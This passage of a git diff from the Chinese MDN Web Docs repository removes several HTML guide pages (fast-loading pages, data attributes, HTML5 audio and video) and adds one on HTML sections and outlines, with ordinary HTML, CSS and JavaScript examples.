  3. HTML 导航分节元素 ({{HTMLElement("nav")}}) 定义的节段包含了很多导航links。文档中可以有好几个这样的元素,比如文档内部的链接,就像目录,和链接到其他站点的导航links。这些链接并不是主文档流和文档大纲中的一部分 ,并且能够特别让屏幕浏览器和类似的辅助技术从一开始就不渲染该标记里的内容。
  4. -
- -

页眉和页脚

- -

HTML5引入了两个可以用于标记节段的页眉和页脚的新元素。

- -
    -
  1. HTML 头部分节元素 ({{HTMLElement("header")}}) 定义了页面的页眉,通常会包含logo和站点名称以及水平菜单(如果有的话)。或是一个节段的头部,可能包含了节段的标题和作者名字等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}}可以拥有它们自己的{{HTMLElement("header")}}。虽然名字是header,但是不一定是在页面的开始。
  2. -
  3. HTML 页脚元素 ({{HTMLElement("footer")}}) 定义了页脚, 通常会包含版权信息和法律声明以及一些其他链接。或是节段的页脚,可能包含了节段的发布数据、许可声明等。{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} 可以拥有它们自己的 {{HTMLElement("footer")}}。同样,其不一定是在页面的底部出现。
  4. -
- -

分节元素中的地址和发表时间

- -

文档的作者想要发布一些联系信息,例如作者的名字和地址。HTML4通过{{HTMLElement("address")}}元素来表示,HTML5则拓展了这个元素。

- -

一个文档可以由不同作者的不同节段组成。一个从其他作者而不是文档作者写的节段用{{HTMLElement("article")}}元素定义。因此, {{HTMLElement("address")}} 元素连接到距离最近的{{HTMLElement("body")}}或{{HTMLElement("article")}} 祖先元素。

- -

同样的,新的HTML5标记 {{HTMLElement("time")}}元素,使用{{htmlattrxref("pubdate", "time")}}布尔值,表示整个文档的发布时间,分别给文章,与其最近的{{HTMLElement("body")}}元素或{{HTMLElement("article")}} 元素的祖先元素相关。

- -

在不支持HTML5的浏览器器中使用HTML5

- -

分节和标题元素应该在大部分的不支持HTML5的浏览器中工作。尽管不支持,但不必使用特殊的DOM接口。仅仅只需要一个特殊的CSS样式,因为未知元素默认会样式化为display:inline:

- -
section, article, aside, footer, header, nav, hgroup {
-  display:block;
-}
-
-
- -

当然web开发者可以改变上面的样式结构,但是要记住的是在不支持HTML5浏览器中,这些元素默认的样式是与预期的样式是不同的。还要注意的是{{HTMLElement("time")}}元素并没有在这些元素中,因为其样式在不支持HTML5和兼容HTML5的浏览器中的表现是相同的。

- -

然而这种方法有自己的局限性,因为一些浏览器并不允许样式化不支持的元素。这种情形出现在ie8及ie8以前的浏览器中,需要一个特殊脚本才行:

- -
<!--[if lt IE 9]>
-  <script>
-    document.createElement("header" );
-    document.createElement("footer" );
-    document.createElement("section");
-    document.createElement("aside"  );
-    document.createElement("nav"    );
-    document.createElement("article");
-    document.createElement("hgroup" );
-    document.createElement("time"   );
-  </script>
-<![endif]-->
- -

这段脚本表示,当在ie8(及ie8以前)的情况下,应该允许脚本的运行以合适地展示HTML5分节和标题元素。如果禁用了脚本,则不会显示,可能会出问题因为这些元素定义整个页面的结构。为了预防这种情况,我们需要加上{{HTMLElement("noscript")}}标签。

- -
<noscript>
-   <strong>Warning !</strong>
-   Because your browser does not support HTML5, some elements are simulated using JScript.
-   Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
-</noscript>
- -

于是形成了如下的代码,允许HTML5节段和标题元素在不支持HTML5的浏览器中展示,即使是ie8(ie8以下版本)也在禁用脚本的情况下有了合适的反馈。

- -
<!--[if lt IE 9]>
-  <script>
-    document.createElement("header" );
-    document.createElement("footer" );
-    document.createElement("section");
-    document.createElement("aside"  );
-    document.createElement("nav"    );
-    document.createElement("article");
-    document.createElement("hgroup" );
-    document.createElement("time"   );
-  </script>
-  <noscript>
-     <strong>Warning !</strong>
-     Because your browser does not support HTML5, some elements are simulated using JScript.
-     Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
-  </noscript>
-<![endif]-->
- -

总结

- -

HTML5中新的节段和标题标签带来了以标准的方法来描述web文档的结构和大纲。其为人们使用HTML5浏览器和需要结构来帮助他们理解页面带来了一个很大的优势。例如,人们需要一些辅助技术的帮助。这些新的语义元素使用简单,几乎没有负担,也可以在不支持HTML5的浏览器中工作。因此,他们应该被广泛使用。

- -
{{HTML5ArticleTOC()}}
diff --git a/files/zh-cn/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html b/files/zh-cn/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html deleted file mode 100644 index 5a07e862a0..0000000000 --- a/files/zh-cn/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: 小贴士:如何制作快速加载的HTML页面 -slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages -tags: - - HTML - - 全部分类 - - 教程 -translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages ---- -

以下技巧都是基于通用的知识和经验。

- -

一个好的页面不仅要给访客提供一个更有交互性的站点,同时也需要降低你的服务器压力和网络请求。后者对于那些高访问量的站点,或在有爆炸性新闻出现等特殊情况下会出现流量突增的站点来说尤为关键。

- -

页面加载性能的优化不仅仅是针对那些带宽有限的拨号上网或移动设备用户需要看的内容,对于提供给宽带用户访问的内容同样重要并且可以导致巨大的提升,哪怕对于那些拥有最快网速的访客。

- -

Tips

- -

减小页面的大小

- -

直至今日,页面的大小仍是页面加载性能的最重要因素。

- -

通过压缩——排除不必要空格,注释,和将脚本、CSS放入外部文件等减小页面的大小,可以在页面结构改变很小的情况下提高下载性能。

- -

诸如 HTML Tidy 这类的工具可以从有效的HTML源文件中自动截去行首空格和额外的空行,其它工具则可以通过重新格式化源代码来压缩JavaScript或者通过混淆源码将长标识符替换为短标识符来减小文件大小。

- -

最小化文件数量

- -

减少一个页面引用的文件数量可以降低在下载一个页面的过程中需要的HTTP请求数量,从而减少这些请求的收发时间。

- -

根据其缓存设置,浏览器可能会为每个所引用的文件发送一个带 If-Modified-Since 的请求给网络服务器,以查询这些文件自上次加载后是否有被修改。查询引用文件上次修改时间会花费太多时间,导致网页首屏延迟,这是因为在渲染页面之前浏览器必须确认每个文件的修改时间。

- -

If you use background images a lot in your CSS, you can reduce the number of HTTP lookups needed by combining the images into one, known as an image sprite. Then you just apply the same image each time you need it for a background and adjust the x/y coordinates appropriately. This technique works best with elements that will have limited dimensions, and will not work for every use of a background image. However, the fewer HTTP requests and single image caching can help reduce page-load time.

- -

使用 CDN

- -

For the purposes of this article, a CDN is a means to reduce the physical distance between your server and your visitor. As the distance between your server origin and visitor increases, the load times will increase. Suppose your website server is located in the United States and it has a visitor from India; the page load time will be much higher for the Indian visitor compared to a visitor from the US.

- -

A CDN is a geographically distributed network of servers that work together to shorten the distance between the user and your website. CDNs store cached versions of your website and serve them to visitors via the network node closest to the user, thereby reducing latency.

- -

Further reading:

- - - -

减少域名查找

- -

每个独立的域名都会消耗DNS查找的时间,页面加载时间会随着独立域名数量、CSS链接数量、JavaScript还有图片资源的数量增加而增加。

- -

这条可能算不上实用,然而,在你的页面中尽量少的使用来自不同域名的资源链接。

- -
    -
- -

缓存重用的内容

- -

确保任何内容可以被缓存,并且拥有一个合理的有效期。

- -

特别要注意 Last-Modified 头,它会让页面高效的缓存。 自上次修改之后,这部分 header 指示将信息传递给用户代理(要加载这些信息的文件)。大部分网页服务器会自动追加 Last-Modified header 部分到静态页面(如 .html.css),基于上次修改的日期储存在文件系统中。至于动态页面(如 .php.aspx),便无法做到,这部分请求的头也就不会被发送出去。

- -

所以,特别是动态产生的页面,花点时间研究一下这个课题会是有益的。或许有些什么关联,无论怎样,这么做在那些不能被缓存的网页中都会节省很多的页面请求。

- -

更多信息:

- -
    -
  1. HTTP Conditional Get for RSS Hackers
  2. -
  3. HTTP 304: Not Modified
  4. -
  5. HTTP ETag on Wikipedia
  6. -
  7. Caching in HTTP
  8. -
- -

高效地排列页面组件

- -

在页面最初显示时,会首先下载页面内容以及所需的CSS和JavaScript,这样在页面加载时用户可以最快获得外观的反馈。由于内容通常都是文本,有利于在传输过程中压缩,因此给用户以更快的响应。

- -

页面中任何具有动态特性的资源需要在页面被完全加载后才可以使用,所以最好在初始化时关闭动态特性(disable dynamic features ),等页面加载完后再打开它。这样JavaScript就会在网页内容之后才加载,有助于提升页面加载的整体表现。

- -

减少内联脚本的数量

- -

内联脚本在页面加载过程中消耗很多资源,因为解析器认为内联脚本会改变页面结构。通常,尽量少的使用内联脚本和减少用document.write()来输出内容,在一定情况下可以加速整体页面的载入。现在浏览器中一般使用现代的 W3C DOM 方法操作页面内容,优于使用document.write()的传统方法。

- -

使用现代CSS和合法标记

- -

使用现代CSS减少标记(markup)的用量,可以减少对(spacer)图片的需求。在布局方面,图片通常可以用风格化的文本(text)来替代,这样会“节省”许多资源。

- -

使用合法标记还有其它优点。首先,浏览器在解释HTML时无需做错误校正(除了一些哲理性的问题,例如,是允许用户输入格式不一致,而后再用程序“校准”或统一化呢? 还是加强约束规则,限制用户输入的格式?)。

- -

再者,合法标记可以让那些给你的网站做预处理的工具功能最大化。例如,HTML Tidy 可以移除空白(whitespace)和可选的末尾标记(ending tags);然而,在有严重的错误标记的网页中这些工具便无法工作。

- -

给内容分块

- -

使用 table 布局是一种不应该再采用的传统方法,而应运用 floatspositioningflexbox, 或 grids 来布局。

- -

当然,table 仍是不失为一种有效的展示表格数据的方式。为了帮助浏览器更快速的渲染你的页面,你应该避免嵌套 table。

- -

相较于这种深度的嵌套:

- -
<table>
-  <table>
-    <table>
-          ...
-    </table>
-  </table>
-</table>
- -

用下图这样的非嵌套结构更好一些:

- -
<table>...</table>
-<table>...</table>
-<table>...</table>
- -

可参见 CSS Flexible Box Layout 和 CSS Grid Layout 规范。

- -

Minify and compress SVG assets

- -

SVG produced by most drawing applications often contains unnecessary metadata which can be removed. Configure your servers, apply gzip compression for SVG assets.

- -

Minify and compress your images

- -

Large images cause your page to take more time to load. Consider compressing your images before adding them to your page, using compression features built into image-manipulation tools such as Photoshop, or using a specialized tool such as Compress Jpeg or Tiny PNG,.

- -

指定图像和表格的大小

- -

如果浏览器可以即时决定你的照片(images)和表格(tables)宽高,它在展示网页时就不必进行内容重新排版。这不仅可以加速网页的显示,还能在网页完成加载的过程中防止恼人的布局改变。因此,图片的 heightwidth 应尽可能确定下来。

- -

表格可以使用 CSS 选择器:综合性能:

- -
table-layout: fixed;
- -

用 <col><colgroup> 元素来指定列宽。

- -

合理的选择 user-agent

- -

为使页面设计得到极大提升,应确保在工程中指定一个合理的user-agent。不要奢求你的内容在所有浏览器中都完美的展现,特别是在那些低版本的浏览器中。

- -

理想情况下,你的页面运行的最小环境要基于现代浏览器,这个浏览器起码要支持一些相关的标准(如 html5 标准)。可以是最近版本的火狐,IE,谷歌Chrome,Opera还有Safari。

- -

需要注意一下,这篇文章当中的许多tips都是些技术性常识,可以不必担心浏览器的支持需求而应用到任何user-agent和网页中去。

- -

尽可能使用 async 和 defer

- -

确保 JavaScript 脚本兼容 async 和 defer,任何时候都要尽可能使用  async ,特别是当你有较多的 script 标签时。

- -

这样在加载 JavaScript 的过程中页面就不会重新绘制,否则,浏览器在不具有这些特性的 script 标签后就不会重绘任何东西。

- -

注意:这些特性在页面第一次加载时会有所帮助,你可以这样用但不能指靠它在所有的浏览器中起作用。如果你遵循指南(guidelines)写出了非常优秀的 JavaScript 代码,也不必要再去修改它了。

- -

页面结构示例

- -

· {{htmlelement('html')}}

- -
-
· {{htmlelement('head')}}
-
- -
-
-
-
· {{htmlelement('link')}} ...
- CSS 文件用来修饰页面外观。在调试维护中把不相关的 CSS 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
-
-
-
- -
-
-
-
· {{htmlelement('script')}} ...
- JavaScript 文件用来实现页面加载时需要的函数,而避免在页面加载后才能运行的 JavaScript。
-
在调试维护中把不相关的 JavaScript 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
-
-
-
- -
-
· {{htmlelement('body')}}
-
· 用户能在完整页面下载完之前就可以看到的页面小分块 ( {{htmlelement('header')}}{{htmlelement('main')}}/ {{htmlelement('table')}}) 。
-
- -
-
-
-
· {{htmlelement('script')}} ...
-
DHTML 脚本通常在页面完全加载或者所有必要的对象(objects)已初始化完毕之后才能运行。没有必要在页面内容之前加载这些脚本,这只会拖慢页面加载和初始化的体验。
-
在调试维护中把不相关的 script 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
-
如有图像用到了反转效果,你应该在页面内容下载完后预加载这些图像。
-
-
-
- - - - - -
-

文章原始信息

- -
    -
  • 作者:Bob Clary, Technology Evangelist, Netscape Communications
  • -
  • 最后更新:Published 2003年4月4日
  • -
  • 版权信息:Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • 注意:This reprinted article was originally part of the DevEdge site.
  • -
-
- -
- -

{{ languages( { "en": "en/Tips_for_Authoring_Fast-loading_HTML_Pages", "ja": "ja/Tips_for_Authoring_Fast-loading_HTML_Pages", "pl": "pl/Porady_odno\u015bnie_tworzenia_szybko_\u0142aduj\u0105cych_si\u0119_stron_HTML" } ) }}

diff --git a/files/zh-cn/web/guide/html/using_data_attributes/index.html b/files/zh-cn/web/guide/html/using_data_attributes/index.html deleted file mode 100644 index 009517f416..0000000000 --- a/files/zh-cn/web/guide/html/using_data_attributes/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: 使用数据属性 -slug: Web/Guide/HTML/Using_data_attributes -tags: - - Custom Data Attributes - - HTML5 -translation_of: Learn/HTML/Howto/Use_data_attributes ---- -

{{LearnSidebar}}

- -

HTML5是具有扩展性的设计,它初衷是数据应与特定的元素相关联,但不需要任何定义。data-* 属性允许我们在标准内于HTML元素中存储额外的信息,而不需要使用类似于 classList,标准外属性,DOM额外属性或是 setUserData 之类的技巧。

- -

HTML 语法

- -

语法非常简单。所有在元素上以data-开头的属性为数据属性。比如说你有一篇文章,而你又想要存储一些不需要显示在浏览器上的额外信息。请使用data属性:

- -
<article
-  id="electriccars"
-  data-columns="3"
-  data-index-number="12314"
-  data-parent="cars">
-...
-</article>
- -

JavaScript 访问

- -

在外部使用JavaScript去访问这些属性的值同样非常简单。你可以使用{{domxref("Element.getAttribute", "getAttribute()")}}配合它们完整的HTML名称去读取它们,但标准定义了一个更简单的方法:{{domxref("DOMStringMap")}}你可以使用{{domxref("HTMLElement.dataset", "dataset")}}读取到数据。

- -

为了使用dataset对象去获取到数据属性,需要获取属性名中data-之后的部分(要注意的是破折号连接的名称需要改写为骆驼拼写法(如"index-number"转换为"indexNumber"))。

- -
var article = document.querySelector('#electriccars');
-
-article.dataset.columns // "3"
-article.dataset.indexNumber // "12314"
-article.dataset.parent // "cars"
- -

每一个属性都是一个可读写的字符串。在上面的例子中,article.dataset.columns = 5.将会调整属性的值为5。

- -

CSS 访问

- -

注意,data设定为HTML属性,他们同样能被CSS访问。比如你可以通过generated content使用函数{{cssxref("attr")}}来显示data-parent的内容:

- -
article::before {
-  content: attr(data-parent);
-}
- -

你也同样可以在CSS中使用属性选择器根据data来改变样式:

- -
article[data-columns='3'] {
-  width: 400px;
-}
-article[data-columns='4'] {
-  width: 600px;
-}
- -

你可以在这个JSBin 里看到全部演示。

- -

Data属性同样可以存储不断变化的信息,比如游戏的得分。使用CSS选择器与JavaScript去访问可以让你得到花俏的效果,这里你并不需要用常规的编写方案来编写代码。有关使用生成内容和CSS转换(JSBin示例)的示例,请参阅此视频

- -

数据值是字符串。必须在选择器中引用数值才能使样式生效。

- -

Issues

- -

不要在data attribute里储存需要显示及访问的内容,因为一些其他的技术可能访问不到它们。另外爬虫不能将data attribute的值编入索引中。

- -

IE的支持度及显示效果是最主要讨论的问题。IE11+支持这个标准,但所有更早期的版本都不支持dataset。为了支持IE10及以下的版本,你必须使用{{domxref("Element.getAttribute", "getAttribute()")}} 来访问。另外,读取 data-attributes的行为相比JS存储数据会慢。使用dataset 会比使用getAttribute()读取数据来得慢。

- -

尽管如此,对于那些与元素相关的数据,这依然是一个很好的解决方案.

- -

在FireFox 49.0.2(其他版本也有可能)中,javascript将无法读出包含1022个及以上字符的data属性(EcmaScript 4).

- -

参阅

- -
 
- - diff --git a/files/zh-cn/web/guide/html/using_html5_audio_and_video/index.html b/files/zh-cn/web/guide/html/using_html5_audio_and_video/index.html deleted file mode 100644 index f1ebacd184..0000000000 --- a/files/zh-cn/web/guide/html/using_html5_audio_and_video/index.html +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: 使用 HTML5 音频和视频 -slug: Web/Guide/HTML/Using_HTML5_audio_and_video -tags: - - Flash - - HTML - - HTML5 - - Media - - Ogg - - Web - - 媒体 - - 指南 - - 概述 - - 特性 - - 范例 - - 视频 - - 音频 -translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content -translation_of_original: Web/Guide/HTML/Using_HTML5_audio_and_video ---- -

HTML5 通过HTML标签“audio”和“video”来支持嵌入式的媒体,使开发者能够方便地将媒体嵌入到HTML文档中。

- -

嵌入媒体

- -

在HTML中嵌入媒体:

- -
-
<video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" controls>
-  你的浏览器不支持 <code>video</code> 标签.
-</video>
- -

这个例子展示了一个带有回放控制器的可播放视频,视频来源于Theora网站。

- -

下面是一个将音频嵌入到HTML文档的例子。

- -
<audio src="/test/audio.ogg">
-你的浏览器不支持audio标签
-</audio>
-
- -

src属性可以设置为一个音频文件的URL或者本地文件的路径。

- -
-
<audio src="audio.ogg" controls autoplay loop>
-你的浏览器不支持audio标签
-</audio>
-
- -

这个例子的代码中使用了HTML的“audio”元素的一些属性:

- -
    -
  • controls : 为网页中的音频显示标准的HTML5控制器。
  • -
  • autoplay : 使音频自动播放。
  • -
  • loop : 使音频自动重复播放。
  • -
- -
-
<audio src="audio.mp3" preload="auto" controls></audio>
-
- -

preload属性用来缓冲audio元素的大文件,有三个属性值可供设置:

- -
    -
  • "none" 不缓冲文件
  • -
  • "auto" 缓冲音频文件
  • -
  • "metadata" 仅仅缓冲文件的元数据
  • -
- -

可以用 {{ HTMLElement("source") }} 标签来指定多个文件,以为不同浏览器提供可支持的编码格式。例如:

- -
<video controls>
-  <source src="foo.ogg" type="video/ogg">
-  <source src="foo.mp4" type="video/mp4">
-  Your browser does not support the <code>video</code> element.
-</video>
-
- -

当浏览器支持Ogg格式的时候, 该代码会播放Ogg文件。 如果浏览器不支持Ogg,浏览器会播放MPEG-4 file。参见列表 audio和video元素支持的媒体格式 来查看不同浏览器对视频音频编码格式的支持情况。

- -

你也可以指定视频文件需要的视频编解码器的值;这样允许浏览器做出更加正确的决定:

- -
<video controls>
-  <source src="foo.ogg" type="video/ogg; codecs=dirac, speex">
-  Your browser does not support the <code>video</code> element.
-</video>
- -

在这里,我们指定video标签使用Dirac和Speex的视频编解码器。如果浏览器支持Ogg,但是不支持指定的编解码器,则视频不会被加载。

- -

如果类型属性没有被指定,媒体类型将返回至服务器然后检查浏览器是否可以解决;如果不能被执行,就检查下一个来源。如果没有任何一个指定的来源元素可以使用,则分派一个错误事件给video标签。如果指定了类型属性,那么将会与浏览器能够播放的类型做对比,如果其没有被识别,甚至不会被向服务器发出询问;相反,下一个来源会被同时检查。

- -

点击 媒体事件 来查看完整的媒体回放事件列表。要查看不同浏览器支持的媒体格式的详细信息, 点击 Media formats supported by the audio and video elements.

- -

媒体回放控制

- -

当你已经用新的元素将媒体嵌入 HTML 文档以后,你就可以用 JavaScript 代码 采用编程的方式来控制它们。比如说,如果你想(重新)开始播放,可以写如下的代码:

- -
var v = document.getElementsByTagName("video")[0];
-v.play();
-
- -

头一行是取得当前文档中第一个视频元素,下一行调用了该元素的 play() 方法, 这一方法在实现媒体元素的接口中定义。

- -

控制一个 HTML5 音频播放器的播放、暂停、增减音量等则直接了当:

- -
<audio id="demo" src="audio.mp3"></audio>
-<div>
-  <button onclick="document.getElementById('demo').play()">播放声音</button>
-  <button onclick="document.getElementById('demo').pause()">暂停声音</button>
-  <button onclick="document.getElementById('demo').volume+=0.1">提高音量</button>
-  <button onclick="document.getElementById('demo').volume-=0.1">降低音量</button>
-</div>
-
- -

终止媒体下载

- -

停止媒体播放很简单,只要调用 pause() 方法即可,然而浏览器还会继续下载媒体直至媒体元素被垃圾回收机制回收。

- -

以下是即刻停止媒体下载的方法:

- -
var mediaElement = document.getElementById("myMediaElementID");
-mediaElement.pause();
-mediaElement.src='';
-//or
-mediaElement.removeAttribute("src");
-
- -

通过移除媒体元素的 src 属性(或者直接将其设为一个空字符串——这取决于具体浏览器), 你可以摧毁该元素的内部解码,从而结束媒体下载。removeAttribute() 操作并不干净, 而将<video>元素的 'src' 属性设为空字符串可能会引起我们不想要的请求(Mozilla Firefox 22)。

- -

 

- -

在媒体中查找

- -

媒体元素支持在媒体的内容中从当前播放位置移到某个特定点。 这是通过设置元素的属性currentTime的值来达成的;有关元素属性的详细信息请看{{ domxref("HTMLMediaElement") }} 。 简单的设置那个你希望继续播放的以秒为单位时间值。

- -

你可以使用元素的属性seekable来决定媒体目前能查找的范围。它返回一个你可以查找的{{ domxref("TimeRanges") }} 时间对象。

- -
var mediaElement = document.getElementById('mediaElementID');
-mediaElement.seekable.start();  // 返回开始时间 (in seconds)
-mediaElement.seekable.end();    // 返回结束时间 (in seconds)
-mediaElement.currentTime = 122; // 设定在 122 seconds
-mediaElement.played.end();      // 返回浏览器播放的秒数
-
- -

标记播放范围

- -

在给一个<audio>或者<video>元素标签指定媒体的URI的时候,你可以选择性地加入一些额外信息来指定媒体将要播放的部分。要这样做的话,需要附加一个哈希标志("#"),后面跟着媒体片段的描述。

- -

一条指定时间范围的语句:

- -
#t=[starttime][,endtime]
- -

时间值可以被指定为秒数(如浮点数)或者为以冒号分隔时/分/秒格式(像2小时5分钟1秒表示为2:05:01)。

- -

一些例子:

- -
-
http://foo.com/video.ogg#t=10,20
-
指定视频播放范围为从第10秒到第20秒.
-
http://foo.com/video.ogg#t=,10.5
-
指定视频从开始播放到第10.5秒.
-
http://foo.com/video.ogg#t=,02:00:00
-
指定视频从开始播放到两小时.
-
http://foo.com/video.ogg#t=60
-
指定视频从第60秒播放到结束.
-
- -
-

媒体元素URI中播放范围部分的规范已被加入到 Gecko 9.0 {{ geckoRelease("9.0") }}. 当下, 这是Geoko Media Fragments URI specification 唯一实现的部分,并且只有是在非地址栏给媒体元素指定来源时才可使用。

-
- -

备选项

- -

在HTML之间,例如,不支持HTML5媒体的浏览器可以处理媒体元素的开始和结束标记.你可以利用这一点给这些浏览器添加一些备项。

- -

此节给视频提供了两个可能的备选项,在各种情况下,如果浏览器支持HTML5视频,它就会被使用,否则,会使用备选项。

- -

使用Flash

- -

{{ HTMLElement("video") }} 标签不被支持时可以使用Flash播放Flash格式的影像。

- -
<video src="video.ogv" controls>
-    <object data="flvplayer.swf" type="application/x-shockwave-flash">
-      <param value="flvplayer.swf" name="movie"/>
-    </object>
-</video>
- -

注意不要在object标签中加入class、id以兼容IE以外的浏览器。

- -

使用Java 小程序播放Ogg视频

- -

这里有一个名为Cortado的Java小程序,在不支持HTML5视频的浏览器你可以用它作为备选项来播放Ogg视频:

- -
<video src="my_ogg_video.ogg" controls width="320" height="240">
-  <object type="application/x-java-applet" width="320" height="240">
-     <param name="archive" value="cortado.jar">
-     <param name="code" value="com.fluendo.player.Cortado.class">
-     <param name="url" value="my_ogg_video.ogg">
-     <p>You need to install Java to play this file.</p>
-  </object>
-</video>
- -

如果你没有给cortado object元素创建一个备用的子元素,像上面的 {{ HTMLElement("p") }} 元素,没有安装java的Firfox3.5设备就会错误的通知用户需要安装一个插件才能查看页面内容.

- -

{{ h1_gecko_minversion("错误处理", "2.0") }}

- -

Geocko2.0首发{{ geckoRelease("2.0") }}, 错误处理已经被修订符合HTML5的最新版规范。 取缔把错误事件发送给媒体元素自生的方式,现在把它交付给子代中的 {{ HTMLElement("source") }}元素对应导致错误的来源。

- -

这使你可以查到是哪个资源加载失败,哪个是可用的。

- -
<video>
-<source id="mp4_src"
-  src="video.mp4"
-  type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"'>
-</source>
-<source id="3gp_src"
-  src="video.3gp"
-  type='video/3gpp; codecs="mp4v.20.8, samr"'>
-</source>
-<source id="ogg_src"
-  src="video.ogv"
-  type='video/ogg; codecs="theora, vorbis"'>
-</source>
-</video>
- -

由于专利限制,Firefox不支持MP4和3GP,ID为“mp4_src"和"3gp_src"的 {{ HTMLElement("source") }} 元素在Ogg资源加载之前将会接收到错误事件。这些资源会根据出现的顺序尝试被加载,一旦有一个资源加载成功,剩下的资源就不会被加载。

- -

没有资源加载成功时的检测

- -

检测是否所有的子{{ HTMLElement("source") }} 元素都加载失败,检查媒体元素的networkState属性值。如果值为HTMLMediaElement.NETWORK_NO_SOURCE,就可以知道所以的资源都加载失败了。

- -

如果这时你通过插入一个新的 {{ HTMLElement("source") }} 元素作为媒体元素的子元素的方法添加一个新资源,Gecko会尝试加载指定的资源。

- -

没有资源可用时显示备用内容

- -

另一个显示视频的备用内容的方法是在最后一个source元素上增加一个错误处理器。

- -
<video controls>
-  <source src="dynamicsearch.mp4" type="video/mp4"></source>
-  <a href="dynamicsearch.mp4">
-    <img src="dynamicsearch.jpg" alt="Dynamic app search in Firefox OS">
-  </a>
-  <p>Click image to play a video demo of dynamic app search</p>
-</video>
-
-
- -
var v = document.querySelector('video'),
-    sources = v.querySelectorAll('source'),
-    lastsource = sources[sources.length-1];
-lastsource.addEventListener('error', function(ev) {
-  var d = document.createElement('div');
-  d.innerHTML = v.innerHTML;
-  v.parentNode.replaceChild(d, v);
-}, false);
-
- -

相关文章

- - diff --git a/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html b/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html new file mode 100644 index 0000000000..2eeb6fe100 --- /dev/null +++ b/files/zh-cn/web/guide/html/using_html_sections_and_outlines/index.html @@ -0,0 +1,377 @@ +--- +title: 使用 HTML 章节与大纲 +slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document +tags: + - HTML + - HTML5 + - 指南 + - 文档结构 + - 高阶 +translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines +--- +
+

(下方英文原文警告的过时已翻译版本)注意:下面描述的HTML 5 大纲算法在用户代理中还没有实现,因此,使用标题语义的用户暴露在HTML4的文档结构下。HTML5对问题的描述还仅仅是理论上的。

+
+ +
+

Important: There are no implementations of the proposed outline algorithm in web browsers nor assistive technology; it was never part of a final W3C specification. Therefore the outline algorithm should not be used to convey document structure to users. Authors are advised to use heading rank (h1-h6) to convey document structure.

+
+ +

HTML5新增了几个新元素使得开发者可以用标准语义去描述web文档的结构。本文描述了这些元素并说明如何使用这些元素去为任何文档定义纲要。

+ +

HTML 4 的文档结构

+ +

文档结构,即,<body></body> 标记之间内容的语义结构,对呈现页面给用户是重要的。HTML4用文档中章节和子章节的概念去描述文档结构。一个章节由一个包含着标题元素(h1-h6)的div元素表示。这些html划分元素(HTML Dividing Elements)和标题元素(HTML Heading Elements)形成了文档的结构和纲要。

+ +

所以下面的片段:

+ +
+
<div class="section" id="forest-elephants" >
+  <h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <div class="subsection" id="forest-habitat" >
+    <h2>Habitat</h2>
+    <p>Forest elephants do not live in trees but among them.
+     ...this subsection continues...
+  </div>
+</div>
+
+
+ +

形成了如下的大纲:

+ +
1. Forest elephants
+   1.1 Habitat
+
+ +

HTML div 元素( {{HTMLElement("div")}} elements)并不强制性地定义一个章节。一个 HTML 标题元素( HTML Heading Element)的出现就足以意味着新的章节. 因此,

+ +
<h1>Forest elephants</h1>
+  <p>In this section, we discuss the lesser known forest elephants.
+    ...this section continues...
+  <h2>Habitat</h2>
+  <p>Forest elephants do not live in trees but among them.
+    ...this subsection continues...
+  <h2>Diet</h2>
+<h1>Mongolian gerbils</h1>
+
+ +

会形成如下的大纲:

+ +
1. Forest elephants
+   1.1 Habitat
+   1.2 Diet
+2. Mongolian gerbils
+
+ +

HTML5 解决的问题

+ +

HTML 4 的文档结构定义和其隐含的大纲算法非常粗糙而且造成了很多问题:

+ +
    +
  1.  定义语义性章节的{{HTMLElement("div")}} 元素的用法,如果没有为class属性赋以特殊的值,使生成自动生成大纲的算法变得不可能 ("一个div元素{{HTMLElement("div")}} 是不是大纲的一部分, 定义的是章节还是子章节?" 或者 "该div元素 {{HTMLElement("div")}}是仅仅为了样式化?")。换句话说, HTML4规范在章节的定义和章节的范围都不精确。 自动生成大纲是重要的,尤其是在倾向于通过根据文档大纲内容去展示内容的辅助技术( assistive technology)。 HTML5 在自动生成大纲算法的过程中去掉了div元素({{HTMLElement("div")}}),并新增了一个元素,section元素({{HTMLElement("section")}})。
  2. +
  3. 合并多个文档是困难的:主文档中包含子文档意味着改变HTML标题元素的级别,以使得文档大纲能够保持下来。 这个已经被HTML5的新的章节元素解决了,因为新引入的元素({{HTMLElement("article")}}、{{HTMLElement("section")}}、{{HTMLElement("nav")}} 和 {{HTMLElement("aside")}})总是距离其最近的祖先章节的子章节, 与子文档章节内部的标题没有关系.
  4. +
  5. HTML4中,所有的章节都是文档大纲中的一部分。但是文档并不总是这样。文档可以包含那些不是大纲的特殊章节, 但是与文档有关的, 就像广告块和解释区域。 HTML5 引入aside元素 {{HTMLElement("aside")}}使得这样的节点不会插入到主纲要中。 
  6. +
  7. 另外, 因为在 HTML4中任何的部分都是文档大纲的一部分, 没有办法产生与网站相关而不是与文档相关的节段,比如logos,menus,目录或版权信息和法律声明。为了这个目的, HTML5 引入了三个特殊的节段 元素: 包含链接集合的nav元素{{HTMLElement("nav")}} , 例如目录, 包含网站相关信息的footer元素{{HTMLElement("footer")}} 和header元素 {{HTMLElement("header")}} 。
  8. +
